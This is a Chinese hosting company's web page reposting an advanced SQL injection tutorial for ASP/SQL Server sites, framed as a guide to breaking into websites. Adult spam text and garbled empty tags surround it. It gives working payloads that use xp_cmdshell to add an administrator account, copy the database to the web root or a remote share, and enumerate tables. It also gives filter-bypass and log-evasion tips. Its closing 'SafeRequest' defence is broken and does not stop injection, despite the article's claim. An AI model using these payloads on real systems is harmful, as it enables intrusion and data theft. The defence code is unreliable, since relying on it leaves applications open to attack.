<small id="qqqqq"></small>
<tr id="qqqqq"></tr>
<tr id="qqqqq"></tr>
  • <tfoot id="qqqqq"></tfoot>
    <tfoot id="qqqqq"><noscript id="qqqqq"></noscript></tfoot>
    <small id="qqqqq"><blockquote id="qqqqq"></blockquote></small>
    <sup id="qqqqq"></sup><noscript id="qqqqq"><dd id="qqqqq"></dd></noscript>
    <tfoot id="qqqqq"><dd id="qqqqq"></dd></tfoot>
    <nav id="qqqqq"><code id="qqqqq"></code></nav>
    <sup id="qqqqq"><code id="qqqqq"></code></sup><noscript id="qqqqq"></noscript>
  • 日本不卡a不v免费高清,五月天无码视频在线,人妻有码字幕在线,久久久一本二本三本,色色综合久久鬼色,少妇人妻久久无码专区

     
    售房快車 售房客車 房屋租賃 牽線搭橋 供求信息 南陽人才網(wǎng) 文藝沙龍
     
    域名注冊 虛擬主機(jī) 云服務(wù)器 企業(yè)云郵箱 網(wǎng)站制作 網(wǎng)站推廣 無紙辦公 成功案例
       
    服務(wù)熱線:0377-63392646 13782137062
    虛擬主機(jī)  
    ASP漏洞全接觸-高級篇-中國開網(wǎng)網(wǎng)絡(luò)學(xué)院
    · 網(wǎng) 絡(luò) 學(xué) 院
    ·友情鏈接 更多>>>
    標(biāo)題:ASP漏洞全接觸-高級篇

     

      看完入門篇和進(jìn)階篇后,稍加練習(xí),破解一般的網(wǎng)站是沒問題了。但如果碰到表名列名猜不到,或程序作者過濾了一些特殊字符,怎么提高注入的成功率?怎么樣提高猜解效率?請大家接著往下看高級篇。

      第一節(jié)、利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫

      SQLServer是一個(gè)功能強(qiáng)大的數(shù)據(jù)庫系統(tǒng),與操作系統(tǒng)也有緊密的聯(lián)系,這給開發(fā)者帶來了很大的方便,但另一方面,也為注入者提供了一個(gè)跳板,我們先來看看幾個(gè)具體的例子:

      ①http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name password /add"--

      分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲(chǔ)過程xp_cmdshell,這個(gè)存儲(chǔ)過程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

      ②http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup name administrators /add"--

      將新建的帳號name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用于用sa連接數(shù)據(jù)庫的情況,否則,是沒有權(quán)限調(diào)用xp_cmdshell的。

      ③http://Site/url.asp?id=1 ;;and db_name()>0

      前面有個(gè)類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫名。

      ④http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk='c:\inetpub\wwwroot\1.db';--

      這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫名,加上某些IIS出錯(cuò)暴露出的絕對路徑,將數(shù)據(jù)庫備份到Web目錄下面,再用HTTP把整個(gè)數(shù)據(jù)庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時(shí)候,還可以備份到網(wǎng)絡(luò)地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

      ⑤http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype='U' and status>0)>0

      前面說過,sysobjects是SQLServer的系統(tǒng)表,存儲(chǔ)著所有的表名、視圖、約束及其它對象,xtype='U' and status>0,表示用戶建立的表名,上面的語句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來。第二、第三個(gè)表名怎么獲取?還是留給我們聰明的讀者思考吧。

      ⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名'),1) from sysobjects)>0

      從⑤拿到表名后,用object_id(‘表名')獲取表名對應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。

      以上6點(diǎn)是我研究SQLServer注入半年多以來的心血結(jié)晶,可以看出,對SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開發(fā)方面的水平也得到很大的提高,呵呵,也許安全與開發(fā)本來就是相輔相成的吧。

      第二節(jié)、繞過程序限制繼續(xù)注入

      在入門篇提到,有很多人喜歡用'號測試注入漏洞,所以也有很多人用過濾'號的方法來"防止"注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關(guān)的函數(shù),達(dá)到繞過程序限制的目的。

      在"SQL注入的一般步驟"一節(jié)中,我所用的語句,都是經(jīng)過我優(yōu)化,讓其不包含有單引號的;在"利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫"中,有些語句包含有'號,我們舉個(gè)例子來看看怎么改造這些語句:

      簡單的如where xtype='U',字符U對應(yīng)的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name='用戶',可以用where name=nchar(29992)+nchar(25143)代替。

      第三節(jié)、經(jīng)驗(yàn)小結(jié)

      1.有些人會(huì)過濾Select、Update、Delete這些關(guān)鍵字,但偏偏忘記區(qū)分大小寫,所以大家可以用selecT這樣嘗試一下。

      2.在猜不到字段名時(shí),不妨看看網(wǎng)站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取相同的名字。

      3.特別注意:地址欄的+號傳入程序后解釋為空格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關(guān)介紹。

      4.用Get方法注入時(shí),IIS會(huì)記錄你所有的提交字符串,對Post方法做則不記錄,所以能用Post的網(wǎng)址盡量不用Get。

      5.猜解Access時(shí)只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區(qū)別即可,但是如果能用SQLServer的報(bào)錯(cuò)信息把值暴露出來,那效率和準(zhǔn)確率會(huì)有極大的提高。

      SQL注入漏洞可謂是"千里之堤,潰于蟻穴",這種漏洞在網(wǎng)上極為普遍,通常是由于程序員對注入不了解,或者程序過濾不嚴(yán)格,或者某個(gè)參數(shù)忘記檢查導(dǎo)致。在這里,我給大家一個(gè)函數(shù),代替ASP中的Request函數(shù),可以對一切的SQL注入Say NO,函數(shù)如下:

      Function SafeRequest(ParaName,ParaType)
      --- 傳入?yún)?shù) ---
      ParaName:參數(shù)名稱-字符型
      ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)

      Dim ParaValue
      ParaValue=Request(ParaName)
      If ParaType=1 then
      If not isNumeric(ParaValue) then
      Response.write "參數(shù)" & ParaName & "必須為數(shù)字型!"
      Response.end
      End if
      Else
      ParaValue=replace(ParaValue,"","")
      End if
      SafeRequest=ParaValue
      End function

      作者:eNet 出處:eNet硅谷動(dòng)力

     

    點(diǎn)擊[4590]次  發(fā)布日期: 2007-3-26 21:42:29    發(fā)布人:中國開網(wǎng)
    :上一篇
      下一篇:

    返回首頁 |公司簡介 |開網(wǎng)招聘 |支付說明 |行業(yè)新聞 | 聯(lián)系方式 |客服中心| 相關(guān)咨詢|廣告服務(wù) |郵箱登錄

    豫公網(wǎng)安備 41130302000019號


    豫ICP備2024042951號

    南陽市開網(wǎng)網(wǎng)絡(luò)技術(shù)有限公司◎0377-63392646

    業(yè)務(wù)專線: 0377-63392646 1378217062

    總部地址: 河南省南陽市車站路146號新城百樂大廈13樓12室

    業(yè)務(wù)①Q(mào)Q:401853676 客服①Q(mào)Q:776288762 

    Email:xuejinfu@kyxxw.com  Copyright © 2023 中國開網(wǎng)◇版權(quán)所有

    中國開網(wǎng)旗下網(wǎng)站:
    信息版:digis.net.cn 
    網(wǎng)絡(luò)版:www.cnkw.cn
    成賣網(wǎng):www.cmai.cn
    PC手機(jī)微信APP小程序五合一網(wǎng)站
     
     
    日本不卡a不v免费高清
    <small id="qqqqq"></small>
    <tr id="qqqqq"></tr>
    <tr id="qqqqq"></tr>
  • <tfoot id="qqqqq"></tfoot>
    <tfoot id="qqqqq"><noscript id="qqqqq"></noscript></tfoot>
    <small id="qqqqq"><blockquote id="qqqqq"></blockquote></small>
    <sup id="qqqqq"></sup><noscript id="qqqqq"><dd id="qqqqq"></dd></noscript>
    <tfoot id="qqqqq"><dd id="qqqqq"></dd></tfoot>
    <nav id="qqqqq"><code id="qqqqq"></code></nav>
    <sup id="qqqqq"><code id="qqqqq"></code></sup><noscript id="qqqqq"></noscript>